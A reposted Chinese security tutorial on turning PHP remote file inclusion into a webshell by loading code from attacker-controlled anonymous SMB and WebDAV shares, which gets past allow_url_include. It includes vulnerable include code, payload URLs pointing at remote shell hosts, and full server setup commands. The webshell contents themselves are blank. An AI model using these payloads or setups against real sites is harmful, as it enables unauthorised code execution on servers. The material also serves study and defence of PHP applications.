RFI巧用WebDAV繞過URL包含限制Getshell

可領全套安全課程、配套攻防靶場


RFI巧用WebDAV繞過URL包含限制Getshell

前言


關於遠程文件包含(Remote File Inclusion)漏洞,自從 php version 5.2 之後一直是一個比較雞肋的問題!!!


直到2019年5月份,國外的一篇文章(RFI-SMB)和推文(Twitter)吸引了大家的注意


其大概內容主要是通過PHP遠程文件包含中allow_url_fopen和allow_url_include 僅限制http://和ftp://的缺陷,利用SMB協議的文件共享進行繞過與包含。


雖說,SMB如今在國內的侷限性很大,但是在一定程度上,打破了RFI URL包含限制的局面,同時,也啟發了針對 RFI 的擴展利用和探索。


正因如此,本文在其之前的基礎上又進行了拓展利用與探索,通過巧用WebDAV來繞過URL包含限制Getshell,打破瞭如今SMB的侷限性。

RFI 基礎


四個函數

PHP中引發文件包含漏洞的通常主要是以下四個函數:

  • include()
<code>http://www.php.net/manual/en/function.include.php
/<code>
  • include_once()
<code>http://php.net/manual/en/function.include-once.php
/<code>
  • require()
<code>http://php.net/manual/en/function.require.php
/<code>
  • require_once()
<code>http://php.net/manual/en/function.require-once.php
/<code>

函數功能

當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等),都會直接作為php文件進行解析。


RFI巧用WebDAV繞過URL包含限制Getshell

函數差異

include()

include() 函數包含出錯的話,只會提出警告,不會影響後續語句的執行

RFI巧用WebDAV繞過URL包含限制Getshell

require()

require() 函數包含出錯的話,則會直接退出,後續語句不在執行

RFI巧用WebDAV繞過URL包含限制Getshell

include_once() 和 require_once()

require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。

二次包含

RFI巧用WebDAV繞過URL包含限制Getshell

一次包含

RFI巧用WebDAV繞過URL包含限制Getshell

RFI 限制


用一個簡單的例子構造一個含有文件包含漏洞的Demo,演示一下遠程文件包含漏洞的利用,代碼如下:

<code>    $file = $_GET['file']; 

include $file;
?>
/<code>

在上面的漏洞代碼中,file參數從GET請求中取值,並且是用戶可控的動態變量。

當file接收到傳入的參數值後,include()函數會直接進行內容包含。

由於,文件包含函數加載的參數file沒有經過任何的過濾或者嚴格的定義,可以由攻擊者進行控制發起惡意的請求,包含其它惡意文件,從而讓應用程序執行攻擊者精心準備的惡意腳本,具體如下:

攻擊者準備的惡意腳本:shell.php

<code>
/<code>

攻擊者發起的惡意請求:payload

<code>https://www.qftm.com/index.php?file=http://10.10.10.10/shell.php
/<code>

通過上述請求,可以遠程包含一個shell,一旦攻擊者的惡意請求成功之後,可以達到任意代碼執行漏洞也就是RCE。

雖然用戶沒有對文件參數進行控制,但是想要得到一個真正的RCE還需要滿足一個條件,如下php.ini配置:

<code>allow_url_fopen=On
allow_url_include=On
/<code>

只有當這兩個配置設置成On時,最終的漏洞才能利用成功,遺憾的是PHP官方在 php version 5.2 之後默認的關閉了allow_url_include,是不是突然感覺沒有了希望!!!

不要放棄,下面利用我們強大的Bypass功能進行限制繞過。

RFI 缺陷

對於RFI的缺陷,先來看一下PHP針對allow_url_fopen和allow_url_include的配置說明

php7.x -> php.ini

<code>;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen=On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off
/<code>

從配置中可以看到 allow_url_fopen和allow_url_include主要是針對兩種協議起作用:http://、 ftp://。

PHP針對RFI URL包含限制主要是利用allow_url_include=Off來實現,將其設置為Off,可以讓PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。

那麼,我們是不是可以這樣想,有沒有什麼其它協議可以讓我們去包含遠程服務器文件,答案是肯定的,例如SMB、WebDAV等協議。

既然這樣,攻擊者就可以利用這個缺陷,使用相應的協議進行Bypass。


在這個過程中,即使allow_url_fopen和allow_url_include都設置為Off,PHP也不會阻止相應的遠程文件加載。

RFI 繞過

在介紹WebDAV Bypass的時候先來簡單瞭解一下SMB Bypass,因為他們利用道理都差不多。


SMB Bypass

SMB協議主要於網絡文件的共享,SMB所在端口445。PHP在遠程匿名加載smb所共享的文件時並不會對其進行攔截。

測試代碼

<code>    $file=$_GET['file'];
include $file;
?>
/<code>

攻擊原理

<code>unc -> smb
/<code>

攻擊場景

當易受攻擊的PHP應用程序代碼嘗試從攻擊者控制的SMB服務器共享加載PHP Web shell時,SMB共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的SMB服務器。因此,一旦易受攻擊的應用程序嘗試從SMB共享訪問PHP Web shell,SMB服務器將不會要求任何憑據,易受攻擊的應用程序將包含Web shell的PHP代碼。

環境配置

首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然後,配置SMB服務器具有匿名讀訪問權限。

  • PHP環境設置

首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off


RFI巧用WebDAV繞過URL包含限制Getshell

然後重啟服務查看phpinfo()配置是否生效

RFI巧用WebDAV繞過URL包含限制Getshell


  • SAMBA服務器環境配置

需要使用匿名讀取訪問權限配置SAMBA服務器(Ubuntu18.04)

<code>Samba是在Linux和UNIX系統上實現SMB協議的一個軟件 

/<code>

(1)安裝SAMBA服務器

<code>apt-get install samba
/<code>

(2)創建SMB共享目錄和 php web shell

<code>mkdir /var/www/html/pub/
touch /var/www/html/pub/shell.php
/<code>
RFI巧用WebDAV繞過URL包含限制Getshell

(3)配置新創建的SMB共享目錄的權限

<code>chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
/<code>


RFI巧用WebDAV繞過URL包含限制Getshell

(4)編輯samba配置文件 /etc/samba/smb.conf

<code>[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[Qftm]
path = /var/www/html/pub
writable = no
guest ok = yes

guest only = yes
read only = yes
directory mode = 0555
force user = nobody
/<code>

(5)重新啟動SAMBA服務器以應用配置文件/etc/samba/smb.conf中的新配置

<code>service smbd restart
/<code>

成功重新啟動SAMBA服務器後,嘗試訪問SMB共享並確保SAMBA服務器不要求憑據。

RFI巧用WebDAV繞過URL包含限制Getshell

Getshell

在環境都配置完且驗證之後,利用samba目錄/var/www/html/pub中共享的WebShell進行GetShell

  • unc->payload
<code>http://127.0.0.1/FI/index.php?file=\\192.33.6.145qftmshell.php
/<code>
  • shell.php
<code>
/<code>
  • 蟻劍連接
RFI巧用WebDAV繞過URL包含限制Getshell

RFI巧用WebDAV繞過URL包含限制Getshell

SMB總結

針對smb利用的侷限性,因為這種unc只能是在windows下使用,而且,smb端口(445) 在國內已經被封殺的差不多了(勒索病毒!!!),很難應用到實際中,但是其他的像webdav這種同理也是可以被包含的,且利用的價值更大。


WebDAV Bypass


WebDAV(Web 分佈式創作和版本管理)是一項基於 HTTP/1.1 協議的通信協議。


它擴展了HTTP/1.1 協議,在Get、Post、Put、Delete 等HTTP標準方法外添加了新方法,使應用程序可對Web Server直接讀寫,並支持寫文件鎖定(Locking)和解鎖(Unlock),以及文件的版本控制。

PHP在遠程匿名加載WebDAV所共享的文件時並不會對其進行攔截。


測試代碼

<code>    $file=$_GET['file'];
include $file;
?>
/<code>

攻擊原理

<code>類unc -> WebDAV
/<code>

攻擊場景

當易受攻擊的PHP應用程序代碼嘗試從攻擊者控制的WebDAV服務器共享加載PHP Web shell時,WebDAV共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的WebDAV服務器。因此,一旦易受攻擊的應用程序嘗試從WebDAV共享訪問PHP Web shell,WebDAV服務器將不會要求任何憑據,易受攻擊的應用程序將包含Web shell的PHP代碼。


環境配置

同SMB環境配置一樣,首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然後,配置WebDAV服務器。


  • PHP環境設置

首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off


RFI巧用WebDAV繞過URL包含限制Getshell


然後重啟服務查看phpinfo()配置是否生效

RFI巧用WebDAV繞過URL包含限制Getshell


  • WebDAV服務器環境配置

需要使用匿名讀取訪問權限配置WebDAV服務器。

1、Ubuntu18.04手動搭建WebDAV服務器

(1)安裝Apache Web服務器

<code>sudo apt-get install -y apache2
/<code>
RFI巧用WebDAV繞過URL包含限制Getshell

(2)在Apache配置中啟用WebDAV模塊

<code>sudo a2enmod dav
sudo a2enmod dav_fs
/<code>
RFI巧用WebDAV繞過URL包含限制Getshell

(3)創建WebDAV共享目錄webdav和 php web shell

<code>sudo mkdir -p /var/www/html/webdav
sudo touch /var/www/html/webdav/shell.php
/<code>
RFI巧用WebDAV繞過URL包含限制Getshell

(4)將文件夾所有者更改為您的Apache用戶,www-data以便Apache具有對該文件夾的寫訪問權

<code>sudo chown -R www-data:www-data  /var/www/
/<code>
RFI巧用WebDAV繞過URL包含限制Getshell

(5)編輯WebDAV配置文件 /etc/apache2/sites-available/000-default.conf

不需要啟用身份驗證

<code>DavLockDB /var/www/html/DavLock
<virtualhost>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav /var/www/html/webdav
<directory>
DAV On
/<directory>
/<virtualhost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
/<code>

(6)重新啟動Apache服務器,以使更改生效

<code>sudo service apache2 restart 

/<code>

成功重新啟動Apache服務器後,嘗試訪問WebDAV共享並確保WebDAV服務器不要求憑據。


RFI巧用WebDAV繞過URL包含限制Getshell

除了上面在Ubuntu上一步步安裝WebDAV服務器外,還可以利用做好的Docker鏡像。

2、WebDAV Docker鏡像

推薦使用Docker鏡像方式去安裝利用,免去一些因環境或配置不當而產生的問題

(1)拉取webdav鏡像

鏡像地址:https://hub.docker.com/r/bytemark/webdav

(2)用docker啟動一個webdav服務器

<code>docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
/<code>

(3)在~/webdav/data目錄裡面共享自己php腳本

RFI巧用WebDAV繞過URL包含限制Getshell

(5)驗證Webdav服務器

瀏覽器驗證

RFI巧用WebDAV繞過URL包含限制Getshell

終端驗證


RFI巧用WebDAV繞過URL包含限制Getshell

Getshell

在環境都配置完且驗證之後,利用webdav目錄~/webdav/data中共享的WebShell進行GetShell

  • 類unc->payload
<code>http://127.0.0.1/FI/index.php?file=//172.17.0.2//webdav/shell.php
/<code>
  • shell.php
<code>
');?>
/<code>

為什麼這個不能直接加載一句話木馬呢,因為使用PHP文件包含函數遠程加載Webdav共享文件時,不能附加消息(GET/POST),但是我們可以自定義shell.php,通過服務器加載遠程shell.php給我們自動生成一個Webshell。

請求構造的payload


RFI巧用WebDAV繞過URL包含限制Getshell

從圖中可以看到遠程加載shell.php利用成功,可以根據狀態碼分析其加載過程:


RFI巧用WebDAV繞過URL包含限制Getshell

其中code 207是由WebDAV(RFC 2518)擴展的狀態碼,代表之後的消息體將是一個XML消息,並且可能依照之前子請求數量的不同,包含一系列獨立的響應代碼。

  • 蟻劍連接

連接遠程加載shell.php生成的Webshell->poc.shell

RFI巧用WebDAV繞過URL包含限制Getshell

RFI巧用WebDAV繞過URL包含限制Getshell

WebDAV總結

webdav如今很多人都將其作為自己的個人數據共享存儲服務器,其侷限性遠遠小於SMB。

Refference

<code>http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx
/<code>


轉載自: https://www.anquanke.com/post/id/201060


今天你知道了嗎

RFI巧用WebDAV繞過URL包含限制Getshell


加群,黑客技術大咖在線解答(群號評論區見)


分享到:


相關文章: